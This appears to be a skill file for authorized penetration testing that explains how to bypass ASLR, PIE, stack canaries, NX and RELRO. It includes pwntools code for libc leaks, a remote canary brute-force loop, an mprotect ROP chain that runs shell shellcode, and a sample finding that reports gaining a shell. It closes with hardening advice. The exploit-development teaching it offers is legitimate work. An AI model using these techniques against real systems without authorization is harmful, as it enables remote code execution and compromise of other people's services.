name: bypassing-binary-exploitation-mitigations description: Methodology for identifying and defeating common binary hardening mitigations during authorized exploitation — ASLR, PIE, stack canaries, NX/DEP, and RELRO — by leaking addresses, brute-forcing entropy, abusing forked-process behavior, and selecting the right code-reuse primitive for the protections in place. domain: cybersecurity subdomain: binary-exploitation tags:
- binary-exploitation
- mitigation-bypass
- exploit-development version: '1.0' author: xalgorix license: Apache-2.0
Bypassing Binary Exploitation Mitigations
When to Use
- At the start of any authorized binary exploitation engagement, to profile which protections (ASLR, PIE, canary, NX/DEP, RELRO) are active and plan the exploit path accordingly.
- When a working memory-corruption primitive is blocked by a mitigation: a canary aborts the process, NX prevents shellcode, PIE/ASLR randomizes gadget addresses, or Full RELRO makes the GOT read-only.
- When deciding what to leak (libc pointer, PIE base, canary) and how (format string, ret2plt, arbitrary read, brute force in a forked server).
Critical: Concepts/Steps Most Often Missed
- Each mitigation is bypassed independently — enumerate them all first.
checksecoutput drives everything. A binary can be PIE + canary + Full RELRO + NX, and you must defeat each separately (leak base, leak/forge canary, avoid GOT writes, use ROP). - Canary low byte is a NUL. On x64 the 8-byte canary's least significant byte is
0x00; on x86 the 4-byte canary's LSB is0x00. String functions stop on it, so a printed canary leak shows only 7 (or 3) random bytes — account for the NUL when re-inserting it. - Forked servers share the canary and PIE slide.
fork()withoutexecve()means children inherit the parent's canary, so you can brute-force the canary (and PIE/stack addresses) one byte at a time using a crash-vs-success oracle.execve()after fork() defeats this. - Full RELRO does not protect everything. The main binary's GOT is read-only, but loaded shared libraries (libc) are
only Partial RELRO. Modern targets removed
__malloc_hook/__free_hook(glibc 2.34+), so pivot to other writable pointers, libc GOT, vtables, or SROP/ROP-into-libc. - PIE base ends in 000. A leaked code pointer's low 12 bits are the page offset; the base is
leak & ~0xfff. If your computed base does not end in000, your leak or offset is wrong. - vsyscall/vDSO and fixed kernel maps escape ASLR.
0xffffffffff600000vsyscall has fixed addresses; on some arm64 Android kernels the linear map base is fixed, defeating KASLR with no leak.
How to CONFIRM
Run checksec --file ./vuln (and readelf -l/-d) and record each protection. Confirm a leak is valid before building
on it: a leaked PIE/libc base must be page-aligned (& 0xfff == 0); a leaked canary's LSB must be 0x00. Confirm a
canary bypass by sending the leaked canary back in the overflow and observing the process return normally (no
*** stack smashing detected ***). Confirm NX status with readelf -W -l ./vuln | grep GNU_STACK (an E flag = exec
stack).
Workflow
Step 1: Enumerate Protections
pwn checksec --file ./vuln
# RELRO, Stack Canary, NX, PIE — note each one
readelf -W -l ./vuln | grep GNU_STACK # NX: RW (no E) = non-exec stack
readelf -d ./vuln | grep BIND_NOW # present => Full RELRO
cat /proc/sys/kernel/randomize_va_space # 0=off, 1=conservative, 2=full ASLR
Step 2: Defeat ASLR / PIE (Leak an Address)
from pwn import *
elf = context.binary = ELF('./vuln')
# Option A: format-string arbitrary read of a GOT entry to leak libc
payload = p64(elf.got['puts']) + b'%7$s' # adjust offset
# Option B: ret2plt — call puts(puts@got) to leak puts's runtime address
rop = ROP(elf)
rop.puts(elf.got['puts']); rop.call(elf.symbols['main']) # leak then re-loop
# After leak:
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc = elf.libc; libc.address = leak - libc.symbols['puts']
assert libc.address & 0xfff == 0, "bad leak / wrong offset"
# For PIE: elf.address = code_leak - known_offset
For 32-bit local targets with low entropy, brute force is viable: loop libc base across 0xb7000000..0xb8000000 step
0x1000, or use a NOP sled in env vars. Remote: brute-force usleep(10) address by watching for a 10s delay.
Step 3: Defeat the Stack Canary
# Forked-server byte-by-byte brute force (children share the canary)
canary = b'\x00' # known NUL LSB
for pos in range(7): # remaining 7 bytes on x64
for guess in range(256):
io = remote(HOST, PORT)
io.send(b'A'*buf_len + canary + bytes([guess]))
if b'smashing' not in io.recvall(timeout=1): # survived => correct
canary += bytes([guess]); io.close(); break
io.close()
# Or: leak the canary via format string / arbitrary read, then replay it.
payload = b'A'*offset + canary + b'B'*8 + rop_chain
Alternative bypasses: overwrite stack-stored pointers before the canary (pointer redirecting); in threaded apps overwrite
the master canary in TLS; with Partial RELRO + arbitrary write, neuter __stack_chk_fail's GOT entry.
Step 4: Defeat NX and RELRO (Pick the Code-Reuse Primitive)
# NX on: no shellcode -> code reuse. Make a page RWX with mprotect then jump in.
rop = ROP(elf)
rop.mprotect(elf.bss() & ~0xfff, 0x1000, 7) # PROT_RWX
payload = flat({offset: rop.chain(), offset+len(rop.chain()): asm(shellcraft.sh())})
- Partial RELRO: overwrite a
.got.pltentry or use ret2dlresolve; overwrite.fini_array/atexit pointers. - Full RELRO: GOT is read-only — target libc's (Partial-RELRO) GOT, C++ vtables, or do pure ROP/SROP into libc.
- SROP (scarce gadgets): forge a sigframe, call
sys_rt_sigreturnto load all registers, e.g.mprotectthen run stack shellcode. - CET/IBT hardened: switch from ROP to JOP/COP (gadgets ending in
jmp/call [reg]).
Key Concepts
| Concept | Description |
|---|---|
| ASLR | Randomizes stack/heap/libs/mmap; randomize_va_space 0/1/2. 32-bit has low entropy (brute-forceable). |
| PIE | Randomizes the binary's own base; bypass by leaking one code address (base = leak & ~0xfff). |
| Stack canary | Random value before saved RIP/EBP; LSB is NUL. Bypass by leak, replay, or forked brute force. |
| NX / DEP | Marks stack/heap non-executable; bypass with ROP/ret2libc/ret2syscall or mprotect-to-RWX. |
| Partial RELRO | .got.plt writable -> GOT overwrite / ret2dlresolve still possible. |
| Full RELRO | Entire GOT read-only (BIND_NOW); pivot to libc GOT, vtables, hooks, or ROP-into-libc. |
| vsyscall/vDSO | Fixed (non-ASLR) addresses usable as a stable ret/syscall source. |
| Master canary forging | In threaded apps, overwrite the TLS-stored master canary so the equal-vs-equal check passes. |
Tools & Systems
| Tool | Purpose |
|---|---|
| checksec | Enumerate RELRO/canary/NX/PIE in one command. |
| readelf / objdump | Confirm GNU_STACK perms, BIND_NOW, GOT/PLT and .fini_array layout. |
| pwntools | ELF, ROP, libc.address, fmtstr_payload, brute-force loops, shellcraft, process/remote. |
| gdb + pwndbg/GEF | vmmap for page perms and vsyscall, verify leaks/canary, inspect TLS (fs:0x28). |
| ROPgadget / ropper | Find gadgets for ret2libc/ret2syscall/SROP/JOP once a base is known. |
| one_gadget | Single-shot shell gadget after a libc leak (avoids GOT writes under Full RELRO). |
Common Scenarios
Scenario 1: PIE + NX + Partial RELRO
Leak a code pointer via format string, rebase the binary, then ROP using the binary's own gadgets; overwrite a
.got.plt entry or ret2dlresolve to reach system.
Scenario 2: Canary + forked network service
Service forks per connection. Brute-force the 8-byte canary byte-by-byte (≤256 tries/byte) using crash vs. clean response, then overflow past the replayed canary into a ROP chain.
Scenario 3: Full RELRO + NX + ASLR
GOT is read-only and stack is non-exec. Leak libc via ret2plt puts, then ROP-into-libc system("/bin/sh") or a
one_gadget — no GOT write needed.
Scenario 4: Low-entropy 32-bit + ASLR
Brute-force libc base locally, or stuff a large NOP sled into environment variables and jump to a guessed stack address repeatedly until execution lands in the sled.
Output Format
## Mitigation Assessment & Bypass Finding
**Target**: ./vuln (amd64)
**Protections**: PIE: yes | Canary: yes | NX: enabled | RELRO: Full | ASLR: 2 (full)
### Bypass Chain
1. ASLR/PIE: leaked libc via ret2plt puts@got -> base 0x7f...000 (page-aligned, confirmed)
2. Canary: leaked via format string %15$p -> 0x..00 (NUL LSB confirmed), replayed in overflow
3. NX/Full RELRO: pure ROP-into-libc system("/bin/sh") (no GOT write required)
### Proof
Process returned cleanly past canary; system("/bin/sh") yielded an interactive shell.
### Impact
All deployed mitigations bypassed -> reliable remote code execution.
### Recommendation
1. Keep Full RELRO, PIE, canaries, and NX enabled (they raise cost but are not individually sufficient).
2. Re-randomize the canary on fork (avoid fork-without-execve patterns in network daemons).
3. Adopt CET/shadow-stack (x86) or PAC/BTI (ARM) to break ROP/JOP.
4. Eliminate the root memory-corruption bug and the info-leak primitives that enable base/canary recovery.